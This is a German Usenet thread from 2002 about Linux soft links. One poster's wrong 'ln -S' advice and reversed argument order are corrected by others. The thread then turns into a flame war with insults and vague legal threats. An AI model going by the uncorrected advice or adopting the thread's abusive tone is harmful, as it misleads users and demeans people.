Softlinks

[Peter Hennicke]

Hallo,

was hat es eigentlich mit den Softlinks aufsich?
Und wie kann ich sie sinnvoll anwenden?

Danke im Voraus

Peter

--

Der Mensch kommt nie aus Vernunft zur Vernunft.
[Montesquieu]

[Christian Schneider]

* Peter Hennicke <p...@maddoc.inka.de> writes:
> was hat es eigentlich mit den Softlinks aufsich?
> Und wie kann ich sie sinnvoll anwenden?

Guckst Du hier ;)

http://r-goetz.de/linux/bg/fs.html
http://www.fibel.org/linux/node232.html
http://www.uibk.ac.at/~c102mr/linux/guide/Einstieg.htm#Dateiarbeiten-Softlinks

HTH
--
http://3d-crew.com/
Windows'98: New look, same multicrashing

[$_Merlinux_$]

Peter Hennicke schrieb:

> Hallo,
>
> was hat es eigentlich mit den Softlinks aufsich?
> Und wie kann ich sie sinnvoll anwenden?
>
> Danke im Voraus
>
> Peter
>

Ein Softlink ist nicht anderes als einen Verweis auf eine andere Datei,
z.B. im anderen Verzeichnis.

Du kannst leicht erstellen oder wieder löschen, ohne das sich was an der
verlinkten Datei ändert. Darüber hinaus ist ein Softlinksdatei gar kein
Duplikat wie das mit dem Hardlink der Fall ist.

Mit folgenden Befehle kannst Du einen Softlink erstellen

ln -S Datei.1 Datei.2

Datei.1 ist die neue Datei und Datei.2 die Datei auf die Datei.1 verweist.

Ein Hardlink ist ein Duplikat einer vorhandenen Datei etc...

Am Besten gebe ich Dir hier meine eigene Dokumentation und ebenso kannst
Du mit "man ln" mehr über die Optionen kennen.

* Hard Link
o ln original link
o exact same inode within a partition
o same permission like the original
o same content for all copied files
o change of the content occurs for all copies
o copies remain after deleting the original
* Soft Link
o ln -s original link
o different inodes and thus across partitions boundaries
o same permission but appears like lrwxrwxrwx
o links are smaller than original
o links do not work any more after deleting the original

Grüße,

--

Regards,
Amicalement,
Vriendelijk
Vänligt
Freundlicherweise,

&**.Merlinux.**& from Germany
- A+ CCNA MCSE -

Weiterleitung an andere NG nicht gestattet.
- Forwarding to another NG not allowed -
++++++++++++++++++++++++++++++++++++++++++++
I never read & reply emails from Newsgroups
- it is no use sending Spams -

[Thomas Kaschwig]

* $_Merlinux_$ <merl...@yahoo.com> wrote:

> Mit folgenden Befehle kannst Du einen Softlink erstellen
>
> ln -S Datei.1 Datei.2

Falsch, richtig wären:
$ ln -s Datei.1 Datei.2
$ ln --symbolic Datei.1 Datei.2

> Datei.1 ist die neue Datei und Datei.2 die Datei auf die Datei.1
> verweist.

Falsch, Datei.2 ist der Symlink auf Datei.1.

> Ein Hardlink ist ein Duplikat einer vorhandenen Datei etc...

Falsch, ein Hardlink ist ein weiterer Verzeichniseintrag, der auf die
Inode einer vorhandenen Datei zeigt. Es ist *kein* Duplikat, sondern nur
ein zweiter Dateiname, der auf dieselbe Inode zeigt.

> Am Besten gebe ich Dir hier meine eigene Dokumentation und ebenso kannst
> Du mit "man ln" mehr über die Optionen kennen.

Warum schreibst Du von Dingen, die Du höchstens oberflächlich verstanden
hast? 'man ln' wäre auch sicher Dir eine grosse Hilfe.

Gruß
Thomas

--
Thomas Kaschwig * ne...@kaschwig.net * http://www.kaschwig.net/
PGP: http://www.kaschwig.net/public.key.asc * KeyID: 0x3D68D63A

[Erkan Yanar]

Am Mon, 12 Aug 2002 22:27:49 +0200,schrieb $_Merlinux_$ :
>Peter Hennicke schrieb:
>> Hallo,
>>
>> was hat es eigentlich mit den Softlinks aufsich?
>> Und wie kann ich sie sinnvoll anwenden?
>>
>> Danke im Voraus
>>
>> Peter
>>
>
>Ein Softlink ist nicht anderes als einen Verweis auf eine andere Datei,
>z.B. im anderen Verzeichnis.
>
>Du kannst leicht erstellen oder wieder löschen, ohne das sich was an der
>verlinkten Datei ändert. Darüber hinaus ist ein Softlinksdatei gar kein
>Duplikat wie das mit dem Hardlink der Fall ist.
>
>Mit folgenden Befehle kannst Du einen Softlink erstellen
>
>ln -S Datei.1 Datei.2

s/S/s/

>
>Datei.1 ist die neue Datei und Datei.2 die Datei auf die Datei.1 verweist.

Anders herum.

>
>Ein Hardlink ist ein Duplikat einer vorhandenen Datei etc...
>

Missverständlich. Es ist ein und die selbe Datei (inode). Bei einem
Hardlink handelt es sich um einen Directoryeintrag mit Verweis auf ein
schon existierendes inode (Datei). Beim Erzeugen des Links wird zudem noch
der Linkzähler hochgesetzt.

tschazu
erkan

--
ueber den grenzen muss die freiheit wohl wolkenlos sein

[$_Merlinux_$]

Erkan Yanar schrieb:

>
>
> s/S/s/
>
>
>>Datei.1 ist die neue Datei und Datei.2 die Datei auf die Datei.1 verweist.
>
>
> Anders herum.

Ja richtig ... die Beispiele in englisch waren schon richtig :)

Ich habe auf deutsch einfach umgedreht. <g> und -s muß klein geschrieben
werden.

>>Ein Hardlink ist ein Duplikat einer vorhandenen Datei etc...
>>

Ich meine, man sollte damit vorsichtig sein...denn wenn die letzte Datei
gelöscht wird, mit dem Glaube, es gäbe noch ein Dupikat, dann ist die
Datei für immer verloren...daher die Erklärung...(à la Windows) ;-)

> Missverständlich. Es ist ein und die selbe Datei (inode). Bei einem
> Hardlink handelt es sich um einen Directoryeintrag mit Verweis auf ein
> schon existierendes inode (Datei). Beim Erzeugen des Links wird zudem noch
> der Linkzähler hochgesetzt.

Das ist schon richtig.

Danke, für die Korrektur.

Grüße.

[Robin S. Socha]

* Anonymous Coward <merl...@yahoo.com> writes:

> ln -S Datei.1 Datei.2

Falsch.

> Datei.1 ist die neue Datei und Datei.2 die Datei auf die Datei.1
> verweist.

Falsch.

> Ein Hardlink ist ein Duplikat einer vorhandenen Datei etc...

Falsch.

> Am Besten gebe ich Dir hier meine eigene Dokumentation und ebenso
> kannst Du mit "man ln" mehr über die Optionen kennen.

Du bist eine Gefahr für Dich und Deine Umwelt. Geh. Endlich. Weg.

[$_Merlinux_$]

Thomas Kaschwig schrieb:

> Warum schreibst Du von Dingen, die Du höchstens oberflächlich verstanden
> hast?

Ich hatte schon das Prinzip verstanden ... ich hatte nur oberflächlich
erklärt und sonst ja nur aus Versehen umgedreht.

Tja ich bin kein Bot ;-)

Nobody is perfect ...

Schöne Grüße,

[Christian Garbs [Master Mitch]]

Mahlzeit!

$_Merlinux_$ <merl...@yahoo.com> wrote:
^^^^^^^^^^^^
${DuWeisstSchonWas}

>> was hat es eigentlich mit den Softlinks aufsich?
>> Und wie kann ich sie sinnvoll anwenden?

> Mit folgenden Befehle kannst Du einen Softlink erstellen
>
> ln -S Datei.1 Datei.2

Na, das wird eher ein Hardlink. Wir schauen mal kurz in die Manpage:

| -s, --symbolic
| Symbolische statt harter Verknüpfung erzeugen
|
| -S, --suffix=SUFFIX
| Überschreiben der normalen Anhänge für Sicherungen.

Also entweder "ln -s Datei.1 Datei.2" oder "ln --symbolic Datei.1 Datei.2".

> Datei.1 ist die neue Datei und Datei.2 die Datei auf die Datei.1 verweist.

Willst Du hier Verwirrung stiften? Auch das ist wieder *sehr* frei
interpretiert -- es ist nämlich genau andersherum:

Wenn man "ln -s quelle ziel" ausführt, dann wird eine neue Datei
(genauer: ein Softlink) "ziel" angelegt, der auf "quelle" zeigt.

Beispiel:

$ echo INHALT > quelle
$ ls -l
insgesamt 1
-rw-r--r-- 1 mitch mitch 7 12. Aug 23:22 quelle
$ ln -s quelle ziel
$ ls -l
insgesamt 1
-rw-r--r-- 1 mitch mitch 7 12. Aug 23:22 quelle
lrwxrwxrwx 1 mitch mitch 6 12. Aug 23:22 ziel -> quelle
$ cat ziel
INHALT

Gruß,
Christian

PS: Lustig: Die angezeigten 6 Bytes des Links werden von ls nicht zur
Gesamtgrösse des Verzeichnisses gerechnet:
$ rm quelle
$ touch quelle
$ ls -l
insgesamt 0
-rw-r--r-- 1 mitch mitch 0 12. Aug 23:23 quelle
lrwxrwxrwx 1 mitch mitch 6 12. Aug 23:22 ziel -> quelle
$ echo > quelle
$ ls -l
insgesamt 1
-rw-r--r-- 1 mitch mitch 1 12. Aug 23:23 quelle
lrwxrwxrwx 1 mitch mitch 6 12. Aug 23:22 ziel -> quelle
--
....Christian.Garbs.....................................http://www.cgarbs.de
It's been my belief that airlines feed us with the remains of what America
sends to third world countries. Either that, or we're eating what the third
world countries sent back to us. (largo @ megatokyo.com 2001/03/19)

[Lukas Schratz]

$_Merlinux_$ <merl...@yahoo.com> hackte in den Rechenknecht
^^^^^^^^^^^^^^^
unhöflich und lernresistent

> Thomas Kaschwig schrieb:
>
>> Warum schreibst Du von Dingen, die Du höchstens oberflächlich
>> verstanden hast?
>
> Ich hatte schon das Prinzip verstanden ... ich hatte nur oberflächlich
> erklärt und sonst ja nur aus Versehen umgedreht.

dann probiere sowas vorher aus, wenn du dir unsicher bist!
Ich verstehe auch das Prinzip eines Atomreaktors, würde aber deswegen
keine Tipps abgeben, wie ein solches zu betreiben wäre.

>
> Tja ich bin kein Bot ;-)

Laut deinem Namen könnte man das glauben. Zumindest bist du nun eine
Variable.
>
> Nobody is perfect ...

Nein, aber du bist sowas von unperfekt, daß es wehtut. Du hast keinen
Schimmer von Linux und versuchst hier als der großzügige Helfer
aufzutreten. Mit Blödsinn hilfst du aber weder jetzt, noch -in Zukunft-
Leuten, die unter groups.google suchen.
Ich _bitte_ dich jetzt eindringlich: Hol dir einen minimalclue, bevor du
postest. Dein Sendungsbewußtsein in allen Ehren, aber du machst dich
lächerlich und bist für Hilfesuchende potentiell gefährlich.
>
> Schöne Grüße,
>
Ich hoffe zumindest, daß hinter dem unsinnigen Pseudonym ein
vernunftbegabter Mensch steckt, der erkennt, daß er sich hoffnungslos
verrannt hat.

Deine Signatur, die du nach mehrmaliger Aufforderung sogar noch
verlängert hast, ist extrem unhöflich, ja geradezu ein Schlag ins
Gesicht.

Ich wünsche darüber keine weitere Diskussion und hoffe auf Einsicht.
f'up2 d.a.0d

luke
--
Man kann einen Menschen sehr leicht danach beurteilen, wie er mit Leuten
umgeht, die nichts für ihn tun können.

[$_Merlinux_$]

An alle Regulars !

Und an alle, die mitlesen...

Wenn ich nicht mehr so konzentriert bin,
so daß ich *leider* einige Fehler aus Versehen mache,
ist es letztendlich euer Schuld mit eurem *Terror* als
Regulars.

So, es ist unnötig, weiter zu demonstrieren, wie abscheulich
ihr seid, da ich nun euch kenne... :)

Denn im Moment konzentriere ich mich, eine Liste zu erstellen,
von denen, die noch weiter *meine Unterlassung* mißachten,
keine weiteren Posting von mir an andere Newsgruppen weiterzuleiten !

Dazu zählen noch diejenigen, die beleidigt und sich dafür noch nicht
entschuldigt haben... das ist etwas, das nicht bei mir vorbei kommt.

Die Liste für die Staatswanltschaft wird nun langsam länger. Na bitte,
ihr könnt weiter lachen und mich unterschätzen ;-)

Sobald ich die Vollmacht ergreife, die ich habe, würde ich nicht an
eurer Stelle sein. Ich lasse euch allein ... um zu grübeln.

Die Suppe wird euch eines Tages kalt serviert ... weil das nicht meine
Aufgabe ist... leider :(

Ich erlaube mir, Sie zu bitten, sich den Bericht an der genannten
Adresse nicht als Lernresistent in Erfahrung zu bringen und sich somit
von den unhöflich spielenden Regulars zu distanzieren ... danke ;-)

www.realname-diskussion.info/realname.htm

"Glaube nicht, es muß so sein, weil es so ist, und immer so war"

Ich kann euch übrigens zusichern, daß es bereits eine Menge Leute sind,
die sich gegen euch beschweren und das wird eine Angelegenheit der
Justiz werden. Psychologischer Terror entgegen des Grundgesetzes ist
allerdings inakzeptabel... soweit in der Art, daß es nicht vom Spaß die
Rede werden kann.

Sollte es sich herausstellen, daß ihr Erwachsene seid, dann Pech gehabt ;-)

Grüße bis die Tage,

PS: normalerweise schicke ich immer eine Kopie an die Betroffenen, wenn
ich verklage, aber unter diesen Umständen wäre es wohl nicht möglich.
Immerhin habt ihr *14 Tage Zeit*, um alles zurückzunehmen und sich
entsprechend bei mir zu entschuldigen und eben damit aufzuhören.

Aber bitte keine Debatte, Kein Argument, keine Diskussion ... und darauf
reagiere ich nicht mehr, außer nur das was ich oben auffordere. Punkt.

[Andreas Grund]

$_Merlinux_$ wrote:

> Und an alle, die mitlesen...

[x] Geh weg

[Thomas Kaschwig]

[X-Post, F'up2 dag° und Fullquote zwecks Einweisung]

* $_Merlinux_$ <merl...@yahoo.com> wrote:

Das ist einfach zu gut um wahr zu sein. Ich überlege ernsthaft mir das
auszudrucken, so kann ich auch unterwegs nochmal herzhaft über diesen
bedauernswerten Menschen lachen.

[$_Merlinux_$]

Andreas Grund schrieb:

>
> [x] Geh weg

Bist Du der Hausherr ?

Nö ? Dann halte Dich lieber heraus...

Usenet ist öffentlich ;-)

[Peter Fichtner]

$_Merlinux_$ wrote:
> Andreas Grund schrieb:
>> [x] Geh weg
>
> Bist Du der Hausherr ?
>
> Nö ? Dann halte Dich lieber heraus...
>
> Usenet ist öffentlich ;-)

Ja, aber in meinem killfile ist noch 'ne Menge Platz.
*PLONK*
Geh' wieder Autobahnen malen!

FOAD
Peter

fup2poster

[Meinolf Sander]

* Quoting Marcus Jodorf <tr...@killfile.de>:

[Merlinux]
> Würden hier bitte nicht so viele Leute auch noch die Postings dieses
> Gestörten mehr oder minder geistreich kommentieren!
> So springt sicher nicht nur mir dieser Müll nur immer wieder aus der
> Tonne.

[x] Volle Zustimmung.

X-Post & F'up2 de.test

[Eric Schaefer]

* $_Merlinux_$ <merl...@yahoo.com> wrote:
> Wenn ich nicht mehr so konzentriert bin,
> so daß ich *leider* einige Fehler aus Versehen mache,
> ist es letztendlich euer Schuld mit eurem *Terror* als
> Regulars.

Na klar, es sind immer die anderen schuld.

> Denn im Moment konzentriere ich mich, eine Liste zu erstellen,
> von denen, die noch weiter *meine Unterlassung* mißachten,
> keine weiteren Posting von mir an andere Newsgruppen weiterzuleiten !

Deine Unterlassung mißachten? Kannst Du das auch noch mal auf deutsch
formulieren?

> Die Liste für die Staatswanltschaft wird nun langsam länger. Na bitte,
> ihr könnt weiter lachen und mich unterschätzen ;-)

Soso, die Staatsanwaltschaft soll also auch was zu lachen haben?

> Sobald ich die Vollmacht ergreife, die ich habe, würde ich nicht an
> eurer Stelle sein. Ich lasse euch allein ... um zu grübeln.

Die Vollmacht ergreifen? Ist Deutsch deine Muttersprache?

> Ich erlaube mir, Sie zu bitten, sich den Bericht an der genannten
> Adresse nicht als Lernresistent in Erfahrung zu bringen und sich somit
> von den unhöflich spielenden Regulars zu distanzieren ... danke ;-)
>
> www.realname-diskussion.info/realname.htm

Du hast echt zu viel Freizeit.

> "Glaube nicht, es muß so sein, weil es so ist, und immer so war"

Die Frage ist doch eher, ob DU unbedingt so kindisch sein willst.
Alberne Namen benutzen IST kindisch.
"Nur eines werde ich nicht tun: Mit Ihnen darüber diskutieren!"
Du meinst also im Besitz der absoluten Wahrheit zu sein? Beneidenswert.
Oder auch nicht.

> Ich kann euch übrigens zusichern, daß es bereits eine Menge Leute sind,
> die sich gegen euch beschweren und das wird eine Angelegenheit der
> Justiz werden. Psychologischer Terror entgegen des Grundgesetzes ist
> allerdings inakzeptabel... soweit in der Art, daß es nicht vom Spaß die
> Rede werden kann.

Psychologischer Terror? Merkst Du es noch?

> Sollte es sich herausstellen, daß ihr Erwachsene seid, dann Pech gehabt ;-)

Im Gegensatz zu Dir sind die meisten hier durchaus erwachsen, wenn auch
nicht unbedingt volljährig. ;-)

> PS: normalerweise schicke ich immer eine Kopie an die Betroffenen, wenn
> ich verklage, aber unter diesen Umständen wäre es wohl nicht möglich.
> Immerhin habt ihr *14 Tage Zeit*, um alles zurückzunehmen und sich
> entsprechend bei mir zu entschuldigen und eben damit aufzuhören.

normalerweise ... wenn du verklagst? Wieviele Leute verklagst Du denn so
pro Woche? So langsam kommst Du mir wie "Herr P." vor.

> Aber bitte keine Debatte, Kein Argument, keine Diskussion ... und darauf
> reagiere ich nicht mehr, außer nur das was ich oben auffordere. Punkt.

Verklage doch mal Deinen Deutschlehrer.

--
Nothing is fool-proof to a sufficiently talented fool.

[Kim Huebel]

[ suff (!) deleted ]

Hier ist der Punkt erreicht, wo man sich denkt:

Ja is denn schon wieder Fasching?

Wenn das ne Fernsehsendung wäre, man wäre kurz davor, wegzuschalten,
oder man ist so dermaßen fasziniert und belustigt davon, dass man
unbedingt noch bleiben will, um zu sehn, wie es weitergeht...

ich für meinen Fall jedenfalls bin froh, dass ich ne gute
Rechtschutzversicherung habe *lach* also mir kann dieses
Realname-verachtende Individuum ja gerne mal an den Karren fahren, wenns
dafür Gründe geben sollte... Ich weiss, was Rechtsanwälte kosten *g*

regards, Kim

--
Hier würde ja normalerweise eine Signatur stehn *g*

[manuel kaderli]

On Tue, 13 Aug 2002 01:03:12 +0200, "$_Merlinux_$"
<merl...@yahoo.com> wrote:

>Wenn ich nicht mehr so konzentriert bin,
>so daß ich *leider* einige Fehler aus Versehen mache,
>ist es letztendlich euer Schuld mit eurem *Terror* als
>Regulars.

Weil du inkompetent bist und es nicht wahr haben willst sollen andere
schuld sein?

>So, es ist unnötig, weiter zu demonstrieren, wie abscheulich
>ihr seid, da ich nun euch kenne... :)

dann geh weg.

>Denn im Moment konzentriere ich mich, eine Liste zu erstellen,
>von denen, die noch weiter *meine Unterlassung* mißachten,
>keine weiteren Posting von mir an andere Newsgruppen weiterzuleiten !

bla...

>Dazu zählen noch diejenigen, die beleidigt und sich dafür noch nicht
>entschuldigt haben... das ist etwas, das nicht bei mir vorbei kommt.

Was kommt den bei dir vorbei? Ein alter Mann, Rot gekleidet mit einem
Sack auf dem Rücken, auf einem Schlitten sitzend den 8 Rentiere
ziehen?

>Die Liste für die Staatswanltschaft wird nun langsam länger. Na bitte,
>ihr könnt weiter lachen und mich unterschätzen ;-)

bla...

>Sobald ich die Vollmacht ergreife, die ich habe, würde ich nicht an
>eurer Stelle sein. Ich lasse euch allein ... um zu grübeln.

reden dutch fur beginner

Und das ganze geht noch endlos weiter.

<meine Meinung>Du blieibst ein Idiot</meine Meinung>

gruss
Manuel
--
/*Linux is like a wigwam: no Windows, no Gates, Apache inside*/

[Rainer Weikusat]

"$_Merlinux_$" <merl...@yahoo.com> writes:
> Wenn ich nicht mehr so konzentriert bin,
> so daß ich *leider* einige Fehler aus Versehen mache,
> ist es letztendlich euer Schuld mit eurem *Terror* als
> Regulars.
>
> So, es ist unnötig, weiter zu demonstrieren, wie abscheulich
> ihr seid, da ich nun euch kenne... :)

Liebes Merlinux, obiger Satz erfüllt zweifelsfrei exakt den
'Tatbestand' Beleidigung. Wen wolltest Du noch gleich
'verklagen'?

> Die Liste für die Staatswanltschaft wird nun langsam länger. Na bitte,
> ihr könnt weiter lachen und mich unterschätzen ;-)
>
> Sobald ich die Vollmacht ergreife, die ich habe, würde ich nicht an
> eurer Stelle sein. Ich lasse euch allein ... um zu grübeln.
>
> Die Suppe wird euch eines Tages kalt serviert ... weil das nicht meine
> Aufgabe ist... leider :(

... nehmen wir 'Bedrohung' hinzu ...

> Ich kann euch übrigens zusichern, daß es bereits eine Menge Leute
> sind, die sich gegen euch beschweren und das wird eine Angelegenheit
> der Justiz werden. Psychologischer Terror entgegen des Grundgesetzes
> ist allerdings inakzeptabel...

... und 'üble Nachrede'.

Weil ich das aus anderen Gründen neulich mal recherchiert habe
("... man soll sich von dummen Frauen, die 'Beziehungen' haben, unter
allen Umständen fernhalten. Es bedeutet nämlich Ärger mit ebenso
dummen Männern, die sich, 'wie das so üblich ist', dadurch auf ein
beliebiges Ziel abschießen lassen, das man sachte an ihrem Penis zieht
und in die richtige Richtung deutet ...") kann ich Dir außerdem
versichern, das Du eine Zivilklage anstreben müßtest, falls Du hier
etwas vorhättest.

Pech, nicht?

[Alexander Haider]

Martial Jardon schrieb:

> Wenn ich nicht mehr so konzentriert bin,
> so daß ich *leider* einige Fehler aus Versehen mache,
> ist es letztendlich euer Schuld mit eurem *Terror* als
> Regulars.

Evtl. solltest du das mit dem Terror mal George War Bush mitteilen, der
weitet dann bestimmt seinen "Antiterrorkrieg" auf das Usenet aus.

SCNR

Alex

--
begin Virus.vbs.txt
Hi! I'm a .signature virus! Copy me into your ~/.signature to help me
spread!
end

[$_Merlinux_$]

Rainer Weikusat schrieb:

> Liebes Merlinux, obiger Satz erfüllt zweifelsfrei exakt den
> 'Tatbestand' Beleidigung. Wen wolltest Du noch gleich
> 'verklagen'?

Nein, dies ist reine Feststellung der Wahrheit entsprechend ... ich bin
eigentlich in einer Diskussionsgruppe aus beruflichen Gründen und das
kann euch teuer werden, denn ihr wisset nicht aus welchem Amt ich bin.

>>Die Suppe wird euch eines Tages kalt serviert ... weil das nicht meine
>>Aufgabe ist... leider :(
>
>
> ... nehmen wir 'Bedrohung' hinzu ...

Es steht explizit, daß es nicht meine Augbabe ist.

Wenn etwas passiert, egal von wem, dann geschieht es, ohne daß ich
darauf Einfluß habe.

>>Ich kann euch übrigens zusichern, daß es bereits eine Menge Leute
>>sind, die sich gegen euch beschweren und das wird eine Angelegenheit
>>der Justiz werden. Psychologischer Terror entgegen des Grundgesetzes
>>ist allerdings inakzeptabel...
>
>
> ... und 'üble Nachrede'.

Andere Postings bei Abuse bezeugen es.

Grüße,

[Michael Raab]

at Tue, 13 Aug 2002 11:10:36 +0200 anonymous wrote:
> Rainer Weikusat schrieb:
> > Liebes Merlinux, obiger Satz erfüllt zweifelsfrei exakt den
> > 'Tatbestand' Beleidigung. Wen wolltest Du noch gleich
> > 'verklagen'?
>
> Nein, dies ist reine Feststellung der Wahrheit entsprechend ...

So wie unsere Aussagen auch.

> ich bin eigentlich in einer Diskussionsgruppe aus beruflichen Gründen
> und das kann euch teuer werden

Wie? Müssen wir Dich jetzt bezahlen?

Wir/Ich habe(n) Deine Dienste nicht bestellt gehabt. Und ich zahle nicht
für eine nicht bestellte Dienstleistung.

> denn ihr wisset nicht aus welchem Amt ich bin.

Das kann ich in den nächsten 48h in Erfahrung bringen. Denn Deine
Anonymität ist vorüber.

> > > Die Suppe wird euch eines Tages kalt serviert ... weil das nicht
> > > meine Aufgabe ist... leider :(
> >
> >
> > ... nehmen wir 'Bedrohung' hinzu ...
>
> Es steht explizit, daß es nicht meine Augbabe ist.

Es steht aber auch "leider" dort.

Bye Michael

--
Turn your Pentium into a Gameboy: Type WIN at C:\>

Registered Linux User #228306 ICQ #151172379
http://macbyte.info/ GNU-PG-Key ID 0140F88B

[Kim Huebel]

$_Merlinux_$ wrote:

> [...]
> ... ich bin
> eigentlich in einer Diskussionsgruppe aus beruflichen Gründen [...]

Nicht nur du/sie/er/es... es gibt derer viele, die sich "beruflich" in
dieser (und auch in anderen) Newsgroups aufhalten um entweder
a) sich weiterzubilden
b) akute Probleme zu diskutieren
c) ihrer Phantasie freien lauf zu lassen
d) aus persönlichen Profilierungsgründen heraus...

man könnte diese Liste nun beliebig fortsetzen, ich glaube, es gibt mehr
"berufsnewsposter", als es linke-zeigefingeramputierte Schreiner gibt.

> Wenn etwas passiert, egal von wem, dann geschieht es, ohne daß ich
> darauf Einfluß habe.
>

Nunja, ich bin Christ und glaube auch an das jüngste Gericht... somit
wird wohl jeder irgendwann, wenn der Tag gekommen ist, sein Bier trinken
müssen und sein Fett abbekommen... die Suppe auslöffeln und was man
nicht alles so kann...

Es ist also nicht wirklich deine/ihre (fortan bleibe ich beim DU, auch
wenns keinem passen wird) Aufgabe hier zu richten *g*

Es ist übrigens fantastisch, wieviel Energie du aufwendest, um die Welt
verbessern zu wollen... leider hast aber auch du nicht den Auftrag dazu,
also überlasse es den "Men in Black" hier auf der Erde für Ruhe zu
sorgen, wenn sich kleine Ausserirdische danebenbenehmen...

[Immo 'FaUl' Wehrenberg]

begin followup to the posting of $_Merlinux_$
> An alle Regulars !

Du plenkst. Nein, ich gehoere nicht dazu.

> Und an alle, die mitlesen...

aha, /me

> Wenn ich nicht mehr so konzentriert bin,
> so daß ich *leider* einige Fehler aus Versehen mache,
> ist es letztendlich euer Schuld mit eurem *Terror* als
> Regulars.

"Wenn ich nicht schwimmen kann, sa dass ich *leider* ertrinke, liegt das
letztendlich an dem Terror durch die bunten Streifen an meiner Badehose."

> So, es ist unnötig, weiter zu demonstrieren, wie abscheulich
> ihr seid, da ich nun euch kenne... :)

Ich kenne dich nicht. Du kennst mich bestimmt auch nicht. Also bitte ich dich
diese Behauptung zurueckzunehmen.

> Denn im Moment konzentriere ich mich, eine Liste zu erstellen,
> von denen, die noch weiter *meine Unterlassung* mißachten,
> keine weiteren Posting von mir an andere Newsgruppen weiterzuleiten !

xfup2dag

Achja, /add me

> Dazu zählen noch diejenigen, die beleidigt und sich dafür noch nicht
> entschuldigt haben... das ist etwas, das nicht bei mir vorbei kommt.

*puh*, ich nicht.

> Die Liste für die Staatswanltschaft wird nun langsam länger. Na bitte,
> ihr könnt weiter lachen und mich unterschätzen ;-)
>
> Sobald ich die Vollmacht ergreife, die ich habe, würde ich nicht an
> eurer Stelle sein.

*ROTFL*, wenn ich nun deinen Realnamen haette, wuerde ich das in meine
Signatursammlung einbauen, aber was soll ich als Uhrheber schreiben?

> Ich erlaube mir, Sie zu bitten, sich den Bericht an der genannten
> Adresse nicht als Lernresistent in Erfahrung zu bringen und sich somit
> von den unhöflich spielenden Regulars zu distanzieren ... danke ;-)
>
> www.realname-diskussion.info/realname.htm
> "Glaube nicht, es muß so sein, weil es so ist, und immer so war"

Die Seite ist nett, IMO. Trotzdem sehe ich nicht wo das Problem liegt
eben den Realnamen darunter zu schreiben.

> Ich kann euch übrigens zusichern, daß es bereits eine Menge Leute sind,
> die sich gegen euch beschweren und das wird eine Angelegenheit der
> Justiz werden. Psychologischer Terror entgegen des Grundgesetzes ist
> allerdings inakzeptabel... soweit in der Art, daß es nicht vom Spaß die
> Rede werden kann.

:)

> Sollte es sich herausstellen, daß ihr Erwachsene seid, dann Pech gehabt ;-)

> Grüße bis die Tage,
>
> PS: normalerweise schicke ich immer eine Kopie an die Betroffenen, wenn
> ich verklage, aber unter diesen Umständen wäre es wohl nicht möglich.
> Immerhin habt ihr *14 Tage Zeit*, um alles zurückzunehmen und sich
> entsprechend bei mir zu entschuldigen und eben damit aufzuhören.

Hae?

E-Mail-Adressen stehen im Header.

> Aber bitte keine Debatte, Kein Argument, keine Diskussion ... und darauf
> reagiere ich nicht mehr, außer nur das was ich oben auffordere. Punkt.

parse error. unexpectet: 'nur'
parse error. unexpectet: 'auffordere'

Ps: Deine Signatur ist viel zu lang.

FaUl
end
This article does not support incompatible and broken newsreaders.
--
"Gib mir noch ein wenig Munition und ich leite alles gleich an den
Staatsanwalt weiter."
Jens Dähler in einem Reply auf ein Usenet-Posting

[Juergen Klingforth]

Alles klar! Das reicht getzt endgültig. Du hast Dich hier nun lange
genug lächerlich gemacht und damit den Betrieb aufgehalten. Zum Amt
"Gruppenkasper° des Sommerlochs" kandidierst Du dann bitte in dag°
weiter. Außerdem behalte ich mir vor, Dich wegen Körperverletzung
(Zwerchfellriß/Bauchmuskelkater) beim Staatsanwalt zu verpetzen. So!

Versandhinweis:
[X] Crosspost
[X] Komplettzitat beabsichtigt
[X] $_Merlinux_$, bitte Weiterleitung an andere NG beachten
[X] alle anderen, bitte Followup-To beachten

$_Merlinux_$ schryb:

Jygn, Hilfspfleger zu dag°

--
Well the sorrow, the suffering, the glory, the pain
The killing and dying was all done in vain
For young Willie McBride it all happens again
And again, and again, and again, and again.

[Henry Leyh]

"$_Merlinux_$" <merl...@yahoo.com> writes:

> Rainer Weikusat schrieb:
>
> > Liebes Merlinux, obiger Satz erfüllt zweifelsfrei exakt den
> > 'Tatbestand' Beleidigung. Wen wolltest Du noch gleich
> > 'verklagen'?
>
> Nein, dies ist reine Feststellung der Wahrheit entsprechend ...

So wie z.B. der Satz "Du bist doof/krank/besoffen"?

> das kann euch teuer werden, denn ihr wisset nicht aus welchem Amt ich
> bin.

Nein, wissen wir nicht. Aber Hauptsache, Essen schmeckt und die Pfleger sind
nett.

Gruss,
--
Henry

[Michael Görtz]

$_Merlinux_$ wrote:

> An alle Regulars !
>
> Und an alle, die mitlesen...
>

Hallo NG,
Kurze OT-Stellungnahme:
Ich nutze den Computer nicht direkt beruflich, es ist mehr Hobby. Daher
ist meine Lernkurve sehr flach. Diese NG hat mir schon _wertvolle_ Tipps
gegeben, nur durch das _Lesen_ der Postings. Ich poste selber keine
Hilfen, da meine Kenntnisse nicht souveraen genug sind.
Das Lesen der Postings zu den Themen der root+KDE3, swap und Softlinks
jagdt selbst mir einen Schauer ueber den Ruecken. Auch die inhaltliche
Qualitaet sinkt merklich ab. Was zunaechst vielleicht noch amuesant
war, birgt tatsaechlich ein hohes Risiko fuer Newbies.
Sinn des Postings: ich moechte nicht mit meiner Symphatie und Soli-
daritaet fuer A.Grund, P. Fichter, M. Raab, T. Skora, I. Wehrenberg,
R. Weikusat, R. Socha, H. Schlenker u.a. hinter dem Berg halten.;-)
SCNR.

bis die Tage, Michael

P.S.: Naechster Lernschritt sind wohl Killfiles :-)

--
Drop by sometime: http://www.spyralized.de ;-)
--- Linux user #248567 ---

[$_Merlinux_$]

Kim Huebel schrieb:

> Nicht nur du/sie/er/es... es gibt derer viele, die sich "beruflich" in
> dieser (und auch in anderen) Newsgroups aufhalten um entweder
> a) sich weiterzubilden
> b) akute Probleme zu diskutieren
> c) ihrer Phantasie freien lauf zu lassen
> d) aus persönlichen Profilierungsgründen heraus...

Das möchte ich gerne glauben und ich zweifle nicht daran... es sind ja
Leute hier, die gar nicht mit unserer Auseinandersetzung zu tun haben.

Ich verstehe auch Humor aber das hat ja auch eine Grenze oder ?

Auf der Dauer das nervt einfach ... vor allem für Neulinge wie ich,
die nicht einmal eure Sprache werstehen, wie Killfiles, Fup, und diese
komische Verfügung auf unbestimmte Zeit usw... offensichtlich seid ihr
alle Jugendlichen oder was ?? Ich weiß auch nicht, was eine
Merkbefreiung ...und und und ... das ist mir schließlich egal.

> Es ist übrigens fantastisch, wieviel Energie du aufwendest, um die Welt
